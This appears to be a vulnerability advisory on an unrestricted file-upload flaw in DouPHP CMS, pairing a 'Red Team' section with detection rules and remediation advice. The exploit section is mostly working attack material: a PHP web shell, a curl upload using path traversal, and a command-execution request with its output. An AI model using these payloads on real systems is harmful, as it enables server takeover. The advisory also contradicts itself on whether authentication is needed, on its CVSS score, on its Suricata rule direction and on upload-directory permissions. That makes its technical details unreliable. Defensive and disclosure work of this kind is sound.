CVE-2025-13198

Executive Summary

CVE-2025-13198 is a critical unrestricted file upload vulnerability discovered in DouPHP, a popular open-source content management system (CMS). The flaw resides in the upload/include/file.class.php file, where the File argument is not properly sanitized, allowing an unauthenticated remote attacker to upload arbitrary files, including web shells, to the server. This can lead to complete server compromise, data exfiltration, and lateral movement within the network.

The vulnerability affects all versions of DouPHP up to and including the 1.8 Release 20251022. As of this report, no official patch has been released by the vendor, and a proof-of-concept (PoC) exploit has been publicly disclosed, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the DouPHP CMS core codebase.

CVSS Breakdown & Threat Level

The CVSS v3.1 base score is 4.7 (Medium).

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on system availability.

Threat Level: High. Despite the medium CVSS score, the public availability of a PoC exploit and the lack of a patch significantly elevate the risk. An attacker can gain a foothold on the server with minimal effort.

Deep Dive & Mechanics

The vulnerability is located in the upload/include/file.class.php file. This file is responsible for handling file uploads within the DouPHP admin panel. The core issue is the lack of proper validation of the File argument, which is used to specify the file path or name during the upload process.

Mechanics:

1. Entry Point: The vulnerable function is triggered via an HTTP POST request to the file upload endpoint, typically within the admin panel (e.g., /admin/upload.php).
2. Parameter Manipulation: The attacker sends a request with a crafted File parameter. This parameter is used to construct the destination path for the uploaded file.
3. Path Traversal & Unrestricted Upload: The code does not sanitize the File parameter for path traversal sequences (e.g., ../) or file extension restrictions. This allows an attacker to:
   • Upload a file to any directory on the web server (e.g., ../../shell.php).
   • Upload files with arbitrary extensions, including .php, .phtml, .php5, etc.
4. Remote Code Execution (RCE): Once a malicious PHP file (web shell) is uploaded to a web-accessible directory, the attacker can access it via a web browser and execute arbitrary commands on the server.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common secure coding practices.

Vulnerable Code (Conceptual):

// upload/include/file.class.php
function uploadFile($file) {
    $target_path = "uploads/" . $file['name']; // Directly uses user input
    move_uploaded_file($file['tmp_name'], $target_path);
    return $target_path;
}

Patched Code (Conceptual):

// upload/include/file.class.php
function uploadFile($file) {
    // 1. Validate file extension
    $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
    $file_extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($file_extension, $allowed_extensions)) {
        return false;
    }

    // 2. Sanitize the filename to prevent path traversal
    $safe_filename = basename($file['name']); // Removes any path components
    $safe_filename = preg_replace("/[^a-zA-Z0-9._-]/", "", $safe_filename);

    // 3. Use a fixed, safe upload directory
    $target_path = UPLOAD_DIR . "/" . $safe_filename;

    // 4. Ensure the file is not executable (e.g., check MIME type)
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime_type = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);
    $allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
    if (!in_array($mime_type, $allowed_mime_types)) {
        return false;
    }

    move_uploaded_file($file['tmp_name'], $target_path);
    return $target_path;
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running DouPHP <= 1.8 Release 20251022.
• Access to the admin panel (or any page that triggers the file upload functionality).

Exploitation Steps:

1. Craft a Malicious PHP File: Create a simple web shell, e.g., shell.php:

   <?php system($_GET['cmd']); ?>
   

2. Send the Upload Request: Use curl to send a POST request with the crafted File parameter.

   curl -X POST -F "file=@shell.php" -F "File=../../shell.php" "http://target.com/admin/upload.php"
   

3. Access the Web Shell: Navigate to the uploaded file to execute commands.

   curl "http://target.com/shell.php?cmd=id"
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Server Logs: Look for unusual POST requests to /admin/upload.php with parameters containing path traversal sequences (../, ..\\) or suspicious file extensions (.php, .phtml, .asp).
2. File Integrity Monitoring (FIM): Monitor the web root directory for new or modified files, especially those with executable extensions.
3. Web Application Firewall (WAF) Rules: Block requests to /admin/upload.php that contain path traversal patterns or non-image file extensions.
4. Network Segmentation: Isolate the web server from critical internal systems to limit lateral movement.
5. Immediate Actions:
   • Disable the file upload functionality if not required.
   • Restrict write permissions on the web root directory.
   • Review and remove any suspicious files.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected .php, .phtml, .php5, .shtml files in web-accessible directories (e.g., /var/www/html/, /uploads/).
  • Files with names like shell.php, cmd.php, backdoor.php, or randomly generated names.
• Network:
  • Outbound connections from the web server to unknown IP addresses on ports 80, 443, or 4444.
  • HTTP requests to /shell.php?cmd= or similar patterns.
• Logs:
  • Web server access logs showing POST requests to /admin/upload.php with File=../../ or similar patterns.
  • Error logs showing failed attempts to execute uploaded files.

Detection Engineering

YARA Rule

rule CVE_2025_13198_DouPHP_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2025-13198"
        author = "Valters IT"
        date = "2025-10-23"
        reference = "CVE-2025-13198"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $passthru = "passthru("
        $popen = "popen("
        $backtick = "`"
    condition:
        $php_tag and 1 of ($system_call, $shell_exec, $exec_call, $passthru, $popen, $backtick)
}

Sigma Rule

title: CVE-2025-13198 DouPHP Unrestricted File Upload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-13198 via path traversal in file uploads
author: Valters IT
date: 2025/10/23
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/upload.php'
        cs-uri-query|contains: 'File=../'
    condition: selection
falsepositives:
    - Legitimate file uploads with path traversal (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13198 DouPHP Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/upload.php"; http_uri; content:"File=../"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Upload: If the file upload functionality is not critical, disable it immediately by removing or renaming the upload/ directory.
2. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing File=../ or similar path traversal patterns.
3. Restrict Permissions: Ensure the web server user has minimal write permissions. The uploads/ directory should not be writable by the web server user.
4. Monitor Logs: Actively monitor web server logs for exploitation attempts.

Long-Term Fixes:

1. Apply Vendor Patch: Monitor the DouPHP official website or GitHub repository for a security patch. Apply it immediately upon release.
2. Code Hardening: Implement proper input validation and sanitization for all file upload parameters. Use a whitelist of allowed file extensions and MIME types.
3. Upgrade: Consider migrating to a more actively maintained CMS if DouPHP does not release a patch in a timely manner.

Valters IT